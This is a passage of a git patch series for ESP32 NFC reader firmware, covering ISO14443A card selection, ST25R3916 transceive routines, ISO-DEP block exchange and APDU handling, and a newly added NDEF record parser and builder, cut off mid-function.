sel, 0x70, + uid_cl[0], uid_cl[1], uid_cl[2], uid_cl[3], uid_cl[4] + }; + uint8_t rx[4] = { 0 }; + int len = nfc_poller_transceive(cmd, 7, true, rx, sizeof(rx), 1, 10); + if (len < 1) return 0; + *sak = rx[0]; + return 1; +} + +static hb_nfc_err_t iso14443a_select_from_atqa(const uint8_t atqa[2], nfc_iso14443a_data_t* card) +{ + if (!card || !atqa) return HB_NFC_ERR_PARAM; + + card->atqa[0] = atqa[0]; + card->atqa[1] = atqa[1]; + card->uid_len = 0; + + static const uint8_t sel_cmds[] = { SEL_CL1, SEL_CL2, SEL_CL3 }; + + for (int cl = 0; cl < 3; cl++) { + uint8_t uid_cl[5] = { 0 }; + uint8_t sak = 0; + + if (iso14443a_poller_anticoll(sel_cmds[cl], uid_cl) != 5) { + ESP_LOGW(TAG, "Anticoll CL%d failed", cl + 1); + return HB_NFC_ERR_COLLISION; + } + if (!iso14443a_poller_sel(sel_cmds[cl], uid_cl, &sak)) { + ESP_LOGW(TAG, "Select CL%d failed", cl + 1); + return HB_NFC_ERR_PROTOCOL; + } + + if (uid_cl[0] == 0x88) { + card->uid[card->uid_len++] = uid_cl[1]; + card->uid[card->uid_len++] = uid_cl[2]; + card->uid[card->uid_len++] = uid_cl[3]; + } else { + card->uid[card->uid_len++] = uid_cl[0]; + card->uid[card->uid_len++] = uid_cl[1]; + card->uid[card->uid_len++] = uid_cl[2]; + card->uid[card->uid_len++] = uid_cl[3]; + } + + card->sak = sak; + if (!(sak & 0x04)) break; + } + + return HB_NFC_OK; +} + +/** + * Full SELECT exact logic from working code app_main() UID assembly: + * + * CL1: anticoll(0x93) select(0x93) + * if uid_cl[0] == 0x88 cascade tag, uid = cl[1..3] + * else uid = cl[0..3] + * if SAK & 0x04 more levels + * + * CL2: anticoll(0x95) select(0x95) + * same cascade check + * + * CL3: anticoll(0x97) select(0x97) + * uid = cl[0..3] (always final) + */ +hb_nfc_err_t iso14443a_poller_select(nfc_iso14443a_data_t* card) +{ + if (!card) return HB_NFC_ERR_PARAM; + + uint8_t atqa[2]; + hb_nfc_err_t err = iso14443a_poller_activate(atqa); + if (err != HB_NFC_OK) return err; + + nfc_log_hex("ATQA:", atqa, 2); + hb_nfc_err_t sel_err = iso14443a_select_from_atqa(atqa, card); + if (sel_err != HB_NFC_OK) return sel_err; + nfc_log_hex("UID:", card->uid, card->uid_len); + return HB_NFC_OK; +} + +/** + * Re-select a card after Crypto1 session. + * + * After Crypto1 authentication the card is in AUTHENTICATED state + * and will NOT respond to WUPA/REQA. We must power-cycle the RF field + * to force the card back to IDLE state, then do full activation. + * + * Flow: field OFF field ON REQA/WUPA anticoll select (all CLs) + */ +hb_nfc_err_t iso14443a_poller_reselect(nfc_iso14443a_data_t* card) +{ + + st25r_field_cycle(); + + + uint8_t atqa[2]; + hb_nfc_err_t err = iso14443a_poller_activate(atqa); + if (err != HB_NFC_OK) return err; + + + static const uint8_t sel_cmds[] = { SEL_CL1, SEL_CL2, SEL_CL3 }; + + for (int cl = 0; cl < 3; cl++) { + uint8_t uid_cl[5] = { 0 }; + uint8_t sak = 0; + + if (iso14443a_poller_anticoll(sel_cmds[cl], uid_cl) != 5) { + return HB_NFC_ERR_COLLISION; + } + if (!iso14443a_poller_sel(sel_cmds[cl], uid_cl, &sak)) { + return HB_NFC_ERR_PROTOCOL; + } + + card->sak = sak; + + + if (!(sak & 0x04)) break; + } + + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443a_poller_halt(void) +{ + uint8_t cmd[2] = { 0x50, 0x00 }; + uint8_t rx[4] = { 0 }; + (void)nfc_poller_transceive(cmd, sizeof(cmd), true, rx, sizeof(rx), 0, 10); + return HB_NFC_OK; +} + +int iso14443a_poller_select_all(nfc_iso14443a_data_t* out, size_t max_cards) +{ + if (!out || max_cards == 0) return 0; + + size_t count = 0; + for (;;) { + if (count >= max_cards) break; + + uint8_t atqa[2] = { 0 }; + if (iso14443a_poller_reqa(atqa) != 2) break; + + nfc_iso14443a_data_t card = { 0 }; + if (iso14443a_select_from_atqa(atqa, &card) != HB_NFC_OK) break; + + out[count++] = card; + (void)iso14443a_poller_halt(); + hb_delay_ms(5); + } + + return (int)count; +} +#undef TAG + +/** + * @file nfc_poller.c + * @brief NFC Poller transceive engine (exact copy of working code). + */ +#include "nfc_poller.h" +#include "nfc_common.h" +#include "st25r3916_core.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" +#include +#include "esp_log.h" + +#define TAG TAG_NFC_POLL +static const char* TAG = "nfc_poll"; + +static uint32_t s_guard_time_us = 0; +static uint32_t s_fdt_min_us = 0; +static bool s_validate_fdt = false; +static uint32_t s_last_fdt_us = 0; + +hb_nfc_err_t nfc_poller_start(void) +{ + nfc_rf_config_t cfg = { + .tech = NFC_RF_TECH_A, + .tx_rate = NFC_RF_BR_106, + .rx_rate = NFC_RF_BR_106, + .am_mod_percent = 0, /* OOK for ISO-A */ + .tx_parity = true, + .rx_raw_parity = false, + .guard_time_us = 0, + .fdt_min_us = 0, + .validate_fdt = false, + }; + hb_nfc_err_t err = nfc_rf_apply(&cfg); + if (err != HB_NFC_OK) return err; + return st25r_field_on(); +} + +void nfc_poller_stop(void) +{ + st25r_field_off(); +} + +/** + * Transceive line-by-line match with working code st25r_transceive(). + * + * Working code: + * st25r_direct_cmd(CMD_CLEAR_FIFO); + * st25r_set_nbytes((uint16_t)tx_len, 0); + * st25r_fifo_load(tx, tx_len); + * st25r_direct_cmd(with_crc . CMD_TX_WITH_CRC : CMD_TX_WO_CRC); + * // poll TXE: 50us 400 + * // wait FIFO min_bytes + * // read FIFO + */ +int nfc_poller_transceive(const uint8_t* tx, size_t tx_len, bool with_crc, + uint8_t* rx, size_t rx_max, size_t rx_min, + int timeout_ms) +{ + if (s_guard_time_us > 0) { + hb_delay_us(s_guard_time_us); + } + + int64_t t0 = esp_timer_get_time(); + + + st25r_fifo_clear(); + + + st25r_set_tx_bytes((uint16_t)tx_len, 0); + + + st25r_fifo_load(tx, tx_len); + + + hb_spi_direct_cmd(with_crc ? CMD_TX_WITH_CRC : CMD_TX_WO_CRC); + + + if (!st25r_irq_wait_txe()) { + ESP_LOGW(TAG, "TX timeout"); + return 0; + } + + + uint16_t count = 0; + int got = st25r_fifo_wait(rx_min, timeout_ms, &count); + + int64_t t1 = esp_timer_get_time(); + if (t1 > t0) { + s_last_fdt_us = (uint32_t)(t1 - t0); + if (s_validate_fdt && s_fdt_min_us > 0 && s_last_fdt_us < s_fdt_min_us) { + ESP_LOGW(TAG, "FDT below min: %uus < %uus", (unsigned)s_last_fdt_us, (unsigned)s_fdt_min_us); + } + } + + + if (count < rx_min) { + if (count > 0) { + size_t to_read = (count > rx_max) ? rx_max : count; + st25r_fifo_read(rx, to_read); + nfc_log_hex(" RX partial:", rx, to_read); + } + st25r_irq_log("RX fail", count); + return 0; + } + + if ((size_t)got > rx_max) got = (int)rx_max; + st25r_fifo_read(rx, (size_t)got); + return got; +} + +void nfc_poller_set_timing(uint32_t guard_time_us, uint32_t fdt_min_us, bool validate_fdt) +{ + s_guard_time_us = guard_time_us; + s_fdt_min_us = fdt_min_us; + s_validate_fdt = validate_fdt; +} + +uint32_t nfc_poller_get_last_fdt_us(void) +{ + return s_last_fdt_us; +} + +void nfc_log_hex(const char* label, const uint8_t* data, size_t len) +{ + char buf[128]; + size_t pos = 0; + for (size_t i = 0; i < len && pos + 3 < sizeof(buf); i++) { + pos += (size_t)snprintf(buf + pos, sizeof(buf) - pos, "%02X%s", + data[i], (i + 1 < len) ? " " : ""); + } + ESP_LOGI("nfc", "%s %s", label, buf); +} +#undef TAG + +/** + * @file iso_dep.c + * @brief ISO-DEP - basic RATS + I-Block exchange with chaining/WTX (best effort). + */ +#include "iso_dep.h" +#include "nfc_poller.h" +#include "esp_log.h" + +#define TAG TAG_ISO_DEP +static const char* TAG = "iso_dep"; + +/* ISO-DEP PCB helpers (best-effort values) */ +#define ISO_DEP_PCB_I_BLOCK 0x02U +#define ISO_DEP_PCB_I_CHAIN 0x10U +#define ISO_DEP_PCB_R_ACK 0xA2U +#define ISO_DEP_PCB_S_WTX 0xF2U + +static size_t iso_dep_fsc_from_fsci(uint8_t fsci) +{ + static const uint16_t tbl[] = { 16, 24, 32, 40, 48, 64, 96, 128, 256 }; + if (fsci > 8) fsci = 8; + return tbl[fsci]; +} + +static int iso_dep_fwt_ms(uint8_t fwi) +{ + /* FWT = 302us * 2^FWI; clamp to sane minimum */ + uint32_t us = 302U * (1U << (fwi & 0x0FU)); + int ms = (int)((us + 999U) / 1000U); + if (ms < 5) ms = 5; + return ms; +} + +static void iso_dep_parse_ats(nfc_iso_dep_data_t* dep) +{ + if (!dep || dep->ats_len < 2) return; + + uint8_t t0 = dep->ats[1]; + uint8_t fsci = (uint8_t)(t0 & 0x0F); + size_t fsc = iso_dep_fsc_from_fsci(fsci); + if (fsc > 255) fsc = 255; + dep->fsc = (uint8_t)fsc; + + int pos = 2; + /* TA present */ + if (t0 & 0x10U) pos++; + /* TB present: FWI in upper nibble */ + if (t0 & 0x20U) { + if ((size_t)pos < dep->ats_len) { + uint8_t tb = dep->ats[pos]; + dep->fwi = (uint8_t)((tb >> 4) & 0x0F); + } + pos++; + } + /* TC present */ + if (t0 & 0x40U) pos++; + + ESP_LOGI(TAG, "ATS parsed: FSCI=%u FSC=%u FWI=%u", + (unsigned)fsci, (unsigned)dep->fsc, (unsigned)dep->fwi); +} + +static bool iso_dep_is_i_block(uint8_t pcb) { return (pcb & 0xC0U) == 0x00U; } +static bool iso_dep_is_r_block(uint8_t pcb) { return (pcb & 0xC0U) == 0x80U; } +static bool iso_dep_is_s_block(uint8_t pcb) { return (pcb & 0xC0U) == 0xC0U; } +static bool iso_dep_is_wtx(uint8_t pcb) { return iso_dep_is_s_block(pcb) && ((pcb & 0x0FU) == 0x02U); } + +static int iso_dep_strip_crc(uint8_t* buf, int len) +{ + if (len >= 3 && iso14443a_check_crc(buf, (size_t)len)) return len - 2; + return len; +} + +hb_nfc_err_t iso_dep_rats(uint8_t fsdi, uint8_t cid, nfc_iso_dep_data_t* dep) +{ + uint8_t cmd[2] = { 0xE0U, (uint8_t)((fsdi << 4) | (cid & 0x0F)) }; + uint8_t rx[64] = { 0 }; + int len = nfc_poller_transceive(cmd, 2, true, rx, sizeof(rx), 1, 30); + if (len < 1) { + ESP_LOGW(TAG, "RATS failed"); + return HB_NFC_ERR_PROTOCOL; + } + if (len >= 3 && iso14443a_check_crc(rx, (size_t)len)) { + len -= 2; + } + if (dep) { + dep->ats_len = (size_t)len; + for (int i = 0; i < len && i < NFC_ATS_MAX_LEN; i++) { + dep->ats[i] = rx[i]; + } + dep->fsc = 32; + dep->fwi = 4; + iso_dep_parse_ats(dep); + } + return HB_NFC_OK; +} + +hb_nfc_err_t iso_dep_pps(uint8_t cid, uint8_t dsi, uint8_t dri) +{ + /* Best-effort PPS. If dsi/dri are 0, keep default 106 kbps. */ + if ((dsi == 0) && (dri == 0)) return HB_NFC_OK; + uint8_t cmd[3] = { + (uint8_t)(0xD0U | (cid & 0x0FU)), + 0x11U, /* PPS0: PPS1 present */ + (uint8_t)(((dsi & 0x03U) << 2) | (dri & 0x03U)) + }; + uint8_t rx[4] = { 0 }; + int len = nfc_poller_transceive(cmd, sizeof(cmd), true, rx, sizeof(rx), 1, 20); + if (len < 1) { + ESP_LOGW(TAG, "PPS failed"); + return HB_NFC_ERR_PROTOCOL; + } + return HB_NFC_OK; +} + +int iso_dep_transceive(const nfc_iso_dep_data_t* dep, + const uint8_t* tx, + size_t tx_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!tx || !rx || tx_len == 0) return 0; + + size_t fsc = (dep && dep->fsc) ? dep->fsc : 32; + size_t max_inf = (fsc > 1) ? (fsc - 1U) : tx_len; + int base_timeout = (timeout_ms > 0) ? timeout_ms + : iso_dep_fwt_ms(dep ? dep->fwi : 4); + + uint8_t rbuf[260] = { 0 }; + int rlen = 0; + uint8_t block_num = 0; + + /* TX chaining (PCD -> PICC) */ + size_t off = 0; + while (off < tx_len) { + size_t chunk = tx_len - off; + bool chaining = chunk > max_inf; + if (chaining) chunk = max_inf; + + uint8_t frame[1 + 256]; + frame[0] = (uint8_t)(ISO_DEP_PCB_I_BLOCK | (block_num & 0x01U)); + if (chaining) frame[0] |= ISO_DEP_PCB_I_CHAIN; + memcpy(&frame[1], &tx[off], chunk); + + rlen = nfc_poller_transceive(frame, 1 + chunk, true, + rbuf, sizeof(rbuf), 1, base_timeout); + if (rlen <= 0) return 0; + rlen = iso_dep_strip_crc(rbuf, rlen); + + if (chaining) { + if (!iso_dep_is_r_block(rbuf[0])) { + ESP_LOGW(TAG, "Expected R-block, got 0x%02X", rbuf[0]); + return 0; + } + off += chunk; + block_num ^= 1U; + continue; + } + + off += chunk; + break; + } + + /* RX chaining + WTX handling (PICC -> PCD) */ + int out_len = 0; + while (1) { + uint8_t pcb = rbuf[0]; + + if (iso_dep_is_wtx(pcb)) { + uint8_t wtxm = (rlen >= 2) ? rbuf[1] : 0x01U; + uint8_t wtx_resp[2] = { ISO_DEP_PCB_S_WTX, wtxm }; + int tmo = base_timeout * (wtxm ? wtxm : 1U); + rlen = nfc_poller_transceive(wtx_resp, sizeof(wtx_resp), true, + rbuf, sizeof(rbuf), 1, tmo); + if (rlen <= 0) return 0; + rlen = iso_dep_strip_crc(rbuf, rlen); + continue; + } + + if (iso_dep_is_i_block(pcb)) { + bool chaining = (pcb & ISO_DEP_PCB_I_CHAIN) != 0U; + size_t inf_len = (rlen > 1) ? (size_t)(rlen - 1) : 0; + if ((size_t)out_len + inf_len > rx_max) { + inf_len = (rx_max > (size_t)out_len) ? (rx_max - (size_t)out_len) : 0; + } + if (inf_len > 0) memcpy(&rx[out_len], &rbuf[1], inf_len); + out_len += (int)inf_len; + + if (!chaining) return out_len; + + uint8_t rack[1] = { (uint8_t)(ISO_DEP_PCB_R_ACK | (pcb & 0x01U)) }; + rlen = nfc_poller_transceive(rack, sizeof(rack), true, + rbuf, sizeof(rbuf), 1, base_timeout); + if (rlen <= 0) return out_len ? out_len : 0; + rlen = iso_dep_strip_crc(rbuf, rlen); + continue; + } + + if (iso_dep_is_r_block(pcb)) { + ESP_LOGW(TAG, "Unexpected R-block 0x%02X", pcb); + return out_len; + } + + ESP_LOGW(TAG, "Unknown PCB 0x%02X", pcb); + return out_len; + } +} + +int iso_dep_apdu_transceive(const nfc_iso_dep_data_t* dep, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!apdu || !rx || apdu_len == 0) return 0; + + uint8_t cmd_buf[300]; + if (apdu_len > sizeof(cmd_buf)) return 0; + memcpy(cmd_buf, apdu, apdu_len); + + int len = iso_dep_transceive(dep, cmd_buf, apdu_len, rx, rx_max, timeout_ms); + if (len < 2) return len; + + /* SW1/SW2 are last bytes */ + uint8_t sw1 = rx[len - 2]; + uint8_t sw2 = rx[len - 1]; + + /* Handle wrong length (0x6C) by retrying with suggested Le */ + if (sw1 == 0x6CU && apdu_len >= 5) { + cmd_buf[apdu_len - 1] = sw2; /* adjust Le */ + len = iso_dep_transceive(dep, cmd_buf, apdu_len, rx, rx_max, timeout_ms); + return len; + } + + /* Handle GET RESPONSE (0x61) */ + if (sw1 == 0x61U) { + size_t out_pos = (size_t)(len - 2); /* keep data from first response */ + uint8_t le = sw2 ? sw2 : 0x00; /* 0x00 means 256 */ + + for (int i = 0; i < 8; i++) { + uint8_t get_resp[5] = { 0x00, 0xC0, 0x00, 0x00, le }; + uint8_t tmp[260] = { 0 }; + int rlen = iso_dep_transceive(dep, get_resp, sizeof(get_resp), + tmp, sizeof(tmp), timeout_ms); + if (rlen < 2) return (int)out_pos; + + uint8_t rsw1 = tmp[rlen - 2]; + uint8_t rsw2 = tmp[rlen - 1]; + int data_len = rlen - 2; + if (data_len > 0) { + size_t copy = (out_pos + (size_t)data_len <= rx_max) + ? (size_t)data_len + : (rx_max > out_pos ? (rx_max - out_pos) : 0); + if (copy > 0) { + memcpy(&rx[out_pos], tmp, copy); + out_pos += copy; + } + } + + sw1 = rsw1; + sw2 = rsw2; + if (sw1 != 0x61U) { + break; + } + le = sw2 ? sw2 : 0x00; + } + + if (out_pos + 2 <= rx_max) { + rx[out_pos++] = sw1; + rx[out_pos++] = sw2; + } + return (int)out_pos; + } + + return len; +} +#undef TAG + From 126e88ed02870616745563f1c296bb336e05affd Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:09:05 -0300 Subject: [PATCH 27/61] feat(nfc): add NDEF read/write support --- .../nfc/protocols/iso14443a/include/ndef.h | 133 +++++ .../nfc/protocols/iso14443a/ndef.c | 518 ++++++++++++++++++ 2 files changed, 651 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h new file mode 100644 index 00000000..db9ae822 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h @@ -0,0 +1,133 @@ +/** + * @file ndef.h + * @brief NDEF parser/builder helpers. + */ +#ifndef NDEF_H +#define NDEF_H + +#include +#include +#include +#include "highboy_nfc_error.h" + +/* TNF values */ +#define NDEF_TNF_EMPTY 0x00U +#define NDEF_TNF_WELL_KNOWN 0x01U +#define NDEF_TNF_MIME 0x02U +#define NDEF_TNF_URI 0x03U +#define NDEF_TNF_EXTERNAL 0x04U +#define NDEF_TNF_UNKNOWN 0x05U +#define NDEF_TNF_UNCHANGED 0x06U +#define NDEF_TNF_RESERVED 0x07U + +/* TLV types (Type 1/2/3 Tag mappings) */ +#define NDEF_TLV_NULL 0x00U +#define NDEF_TLV_LOCK_CTRL 0x01U +#define NDEF_TLV_MEM_CTRL 0x02U +#define NDEF_TLV_NDEF 0x03U +#define NDEF_TLV_PROPRIETARY 0xFD +#define NDEF_TLV_TERMINATOR 0xFEU + +typedef struct { + bool mb; + bool me; + bool cf; + bool sr; + bool il; + uint8_t tnf; + uint8_t type_len; + uint8_t id_len; + uint32_t payload_len; + const uint8_t* type; + const uint8_t* id; + const uint8_t* payload; +} ndef_record_t; + +typedef struct { + const uint8_t* data; + size_t len; + size_t pos; + bool done; + hb_nfc_err_t err; +} ndef_parser_t; + +typedef struct { + const uint8_t* lang; + uint8_t lang_len; + const uint8_t* text; + size_t text_len; + bool utf16; +} ndef_text_t; + +typedef struct { + uint8_t* buf; + size_t max; + size_t len; + size_t last_hdr_off; + bool has_record; +} ndef_builder_t; + +typedef struct { + uint8_t type; + size_t length; + const uint8_t* value; + size_t tlv_len; +} ndef_tlv_t; + +typedef enum { + NDEF_TLV_STATUS_OK = 0, + NDEF_TLV_STATUS_NOT_FOUND = 1, + NDEF_TLV_STATUS_INVALID = 2 +} ndef_tlv_status_t; + +/* Parser helpers */ +void ndef_parser_init(ndef_parser_t* parser, const uint8_t* data, size_t len); +bool ndef_parse_next(ndef_parser_t* parser, ndef_record_t* rec); +hb_nfc_err_t ndef_parser_error(const ndef_parser_t* parser); + +bool ndef_record_is_text(const ndef_record_t* rec); +bool ndef_record_is_uri(const ndef_record_t* rec); +bool ndef_record_is_smart_poster(const ndef_record_t* rec); +bool ndef_record_is_mime(const ndef_record_t* rec); + +bool ndef_decode_text(const ndef_record_t* rec, ndef_text_t* out); +bool ndef_decode_uri(const ndef_record_t* rec, + char* out, size_t out_max, size_t* out_len); + +/* Builder helpers */ +void ndef_builder_init(ndef_builder_t* b, uint8_t* out, size_t max); +size_t ndef_builder_len(const ndef_builder_t* b); +hb_nfc_err_t ndef_builder_add_record(ndef_builder_t* b, + uint8_t tnf, + const uint8_t* type, uint8_t type_len, + const uint8_t* id, uint8_t id_len, + const uint8_t* payload, uint32_t payload_len); +hb_nfc_err_t ndef_builder_add_text(ndef_builder_t* b, + const char* text, + const char* lang, + bool utf16); +hb_nfc_err_t ndef_builder_add_uri(ndef_builder_t* b, const char* uri); +hb_nfc_err_t ndef_builder_add_mime(ndef_builder_t* b, + const char* mime_type, + const uint8_t* data, size_t data_len); +hb_nfc_err_t ndef_builder_add_smart_poster(ndef_builder_t* b, + const uint8_t* nested_ndef, + size_t nested_len); + +/* TLV helpers (Type 1/2/3 mappings) */ +ndef_tlv_status_t ndef_tlv_find(const uint8_t* data, size_t len, + uint8_t type, ndef_tlv_t* out); +ndef_tlv_status_t ndef_tlv_find_ndef(const uint8_t* data, size_t len, + ndef_tlv_t* out); +ndef_tlv_status_t ndef_tlv_build(uint8_t* out, size_t max, + uint8_t type, + const uint8_t* value, size_t value_len, + size_t* out_len); +ndef_tlv_status_t ndef_tlv_build_ndef(uint8_t* out, size_t max, + const uint8_t* ndef, size_t ndef_len, + size_t* out_len); + +/** Print NDEF records to log (best-effort). */ +void ndef_print(const uint8_t* data, size_t len); + +#endif /* NDEF_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c new file mode 100644 index 00000000..5e424324 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c @@ -0,0 +1,518 @@ +/** + * @file ndef.c + * @brief NDEF parser/builder helpers. + */ +#include "ndef.h" + +#include +#include "esp_log.h" + +#define TAG "ndef" + +static const char* k_uri_prefixes[] = { + "", "http://www.", "https://www.", "http://", "https://", + "tel:", "mailto:", "ftp://anonymous:anonymous@", "ftp://ftp.", + "ftps://", "sftp://", "smb://", "nfs://", "ftp://", "dav://", + "news:", "telnet://", "imap:", "rtsp://", "urn:", "pop:", + "sip:", "sips:", "tftp:", "btspp://", "btl2cap://", "btgoep://", + "tcpobex://", "irdaobex://", "file://", "urn:epc:id:", + "urn:epc:tag:", "urn:epc:pat:", "urn:epc:raw:", "urn:epc:", + "urn:nfc:" +}; + +static const char* uri_prefix(uint8_t code) +{ + if (code < (sizeof(k_uri_prefixes) / sizeof(k_uri_prefixes[0]))) { + return k_uri_prefixes[code]; + } + return ""; +} + +static uint8_t uri_prefix_match(const char* uri, size_t uri_len, size_t* prefix_len) +{ + uint8_t best = 0; + size_t best_len = 0; + if (!uri) { + if (prefix_len) *prefix_len = 0; + return 0; + } + + uint8_t count = (uint8_t)(sizeof(k_uri_prefixes) / sizeof(k_uri_prefixes[0])); + for (uint8_t i = 1; i < count; i++) { + const char* p = k_uri_prefixes[i]; + if (!p || !p[0]) continue; + size_t l = strlen(p); + if (l == 0 || l > uri_len) continue; + if (strncmp(uri, p, l) == 0 && l > best_len) { + best_len = l; + best = i; + } + if (l == uri_len && best_len == uri_len) break; + } + + if (prefix_len) *prefix_len = best_len; + return best; +} + +static void log_str(const char* label, const uint8_t* data, size_t len) +{ + char buf[96]; + size_t n = (len < (sizeof(buf) - 1)) ? len : (sizeof(buf) - 1); + memcpy(buf, data, n); + buf[n] = '\0'; + ESP_LOGI(TAG, "%s %s", label, buf); +} + +void ndef_parser_init(ndef_parser_t* parser, const uint8_t* data, size_t len) +{ + if (!parser) return; + parser->data = data; + parser->len = len; + parser->pos = 0; + parser->done = false; + parser->err = HB_NFC_OK; +} + +bool ndef_parse_next(ndef_parser_t* parser, ndef_record_t* rec) +{ + if (!parser || !rec || parser->done) return false; + if (!parser->data || parser->len < 3U || parser->pos >= parser->len) { + parser->done = true; + parser->err = HB_NFC_OK; + return false; + } + + const uint8_t* data = parser->data; + size_t len = parser->len; + size_t pos = parser->pos; + + if (pos >= len) { + parser->done = true; + parser->err = HB_NFC_OK; + return false; + } + + uint8_t hdr = data[pos++]; + rec->mb = (hdr & 0x80U) != 0; + rec->me = (hdr & 0x40U) != 0; + rec->cf = (hdr & 0x20U) != 0; + rec->sr = (hdr & 0x10U) != 0; + rec->il = (hdr & 0x08U) != 0; + rec->tnf = (uint8_t)(hdr & 0x07U); + + if (rec->cf) { + parser->err = HB_NFC_ERR_PROTOCOL; + parser->done = true; + return false; + } + + if (pos >= len) { + parser->err = HB_NFC_ERR_PROTOCOL; + parser->done = true; + return false; + } + rec->type_len = data[pos++]; + + if (rec->sr) { + if (pos >= len) { + parser->err = HB_NFC_ERR_PROTOCOL; + parser->done = true; + return false; + } + rec->payload_len = data[pos++]; + } else { + if (pos + 4U > len) { + parser->err = HB_NFC_ERR_PROTOCOL; + parser->done = true; + return false; + } + rec->payload_len = ((uint32_t)data[pos] << 24) | + ((uint32_t)data[pos + 1] << 16) | + ((uint32_t)data[pos + 2] << 8) | + (uint32_t)data[pos + 3]; + pos += 4U; + } + + rec->id_len = 0; + if (rec->il) { + if (pos >= len) { + parser->err = HB_NFC_ERR_PROTOCOL; + parser->done = true; + return false; + } + rec->id_len = data[pos++]; + } + + size_t needed = (size_t)rec->type_len + (size_t)rec->id_len + (size_t)rec->payload_len; + if (pos + needed > len) { + parser->err = HB_NFC_ERR_PROTOCOL; + parser->done = true; + return false; + } + + rec->type = &data[pos]; + pos += rec->type_len; + rec->id = &data[pos]; + pos += rec->id_len; + rec->payload = &data[pos]; + pos += rec->payload_len; + + parser->pos = pos; + if (rec->me || parser->pos >= parser->len) parser->done = true; + parser->err = HB_NFC_OK; + return true; +} + +hb_nfc_err_t ndef_parser_error(const ndef_parser_t* parser) +{ + if (!parser) return HB_NFC_ERR_PARAM; + return parser->err; +} + +bool ndef_record_is_text(const ndef_record_t* rec) +{ + return rec && rec->tnf == NDEF_TNF_WELL_KNOWN && + rec->type_len == 1 && rec->type && rec->type[0] == 'T'; +} + +bool ndef_record_is_uri(const ndef_record_t* rec) +{ + return rec && rec->tnf == NDEF_TNF_WELL_KNOWN && + rec->type_len == 1 && rec->type && rec->type[0] == 'U'; +} + +bool ndef_record_is_smart_poster(const ndef_record_t* rec) +{ + return rec && rec->tnf == NDEF_TNF_WELL_KNOWN && + rec->type_len == 2 && rec->type && + rec->type[0] == 'S' && rec->type[1] == 'p'; +} + +bool ndef_record_is_mime(const ndef_record_t* rec) +{ + return rec && rec->tnf == NDEF_TNF_MIME && rec->type_len > 0 && rec->type; +} + +bool ndef_decode_text(const ndef_record_t* rec, ndef_text_t* out) +{ + if (!rec || !out || !ndef_record_is_text(rec)) return false; + if (rec->payload_len < 1U) return false; + uint8_t status = rec->payload[0]; + uint8_t lang_len = (uint8_t)(status & 0x3FU); + if (1U + lang_len > rec->payload_len) return false; + out->utf16 = (status & 0x80U) != 0; + out->lang = (lang_len > 0) ? (const uint8_t*)(rec->payload + 1) : NULL; + out->lang_len = lang_len; + out->text = rec->payload + 1U + lang_len; + out->text_len = (size_t)rec->payload_len - 1U - lang_len; + return true; +} + +bool ndef_decode_uri(const ndef_record_t* rec, char* out, size_t out_max, size_t* out_len) +{ + if (!rec || !ndef_record_is_uri(rec) || rec->payload_len < 1U) return false; + uint8_t prefix_code = rec->payload[0]; + const char* prefix = uri_prefix(prefix_code); + size_t prefix_len = strlen(prefix); + size_t rest_len = (size_t)rec->payload_len - 1U; + size_t total = prefix_len + rest_len; + if (out_len) *out_len = total; + if (!out || out_max == 0) return true; + if (out_max < total + 1U) return false; + if (prefix_len > 0) memcpy(out, prefix, prefix_len); + if (rest_len > 0) memcpy(out + prefix_len, rec->payload + 1, rest_len); + out[total] = '\0'; + return true; +} + +void ndef_builder_init(ndef_builder_t* b, uint8_t* out, size_t max) +{ + if (!b) return; + b->buf = out; + b->max = max; + b->len = 0; + b->last_hdr_off = 0; + b->has_record = false; +} + +size_t ndef_builder_len(const ndef_builder_t* b) +{ + return b ? b->len : 0; +} + +static hb_nfc_err_t ndef_builder_begin_record(ndef_builder_t* b, + uint8_t tnf, + const uint8_t* type, uint8_t type_len, + const uint8_t* id, uint8_t id_len, + uint32_t payload_len, + uint8_t** payload_out) +{ + if (!b || !b->buf) return HB_NFC_ERR_PARAM; + if (payload_len > 0 && !payload_out) return HB_NFC_ERR_PARAM; + if (type_len > 0 && !type) return HB_NFC_ERR_PARAM; + if (id_len > 0 && !id) return HB_NFC_ERR_PARAM; + + bool sr = payload_len <= 0xFFU; + bool il = id && (id_len > 0); + size_t needed = 1U + 1U + (sr ? 1U : 4U) + (il ? 1U : 0U) + + type_len + id_len + (size_t)payload_len; + if (b->len + needed > b->max) return HB_NFC_ERR_PARAM; + + if (b->has_record) { + b->buf[b->last_hdr_off] &= (uint8_t)~0x40U; /* clear ME */ + } + + size_t hdr_off = b->len; + uint8_t hdr = (uint8_t)(tnf & 0x07U); + if (!b->has_record) hdr |= 0x80U; /* MB */ + hdr |= 0x40U; /* ME for now */ + if (sr) hdr |= 0x10U; + if (il) hdr |= 0x08U; + + b->buf[b->len++] = hdr; + b->buf[b->len++] = type_len; + if (sr) { + b->buf[b->len++] = (uint8_t)payload_len; + } else { + b->buf[b->len++] = (uint8_t)((payload_len >> 24) & 0xFFU); + b->buf[b->len++] = (uint8_t)((payload_len >> 16) & 0xFFU); + b->buf[b->len++] = (uint8_t)((payload_len >> 8) & 0xFFU); + b->buf[b->len++] = (uint8_t)(payload_len & 0xFFU); + } + if (il) b->buf[b->len++] = id_len; + + if (type_len > 0) { + memcpy(&b->buf[b->len], type, type_len); + b->len += type_len; + } + if (id_len > 0) { + memcpy(&b->buf[b->len], id, id_len); + b->len += id_len; + } + + if (payload_out) *payload_out = &b->buf[b->len]; + b->len += payload_len; + b->last_hdr_off = hdr_off; + b->has_record = true; + return HB_NFC_OK; +} + +hb_nfc_err_t 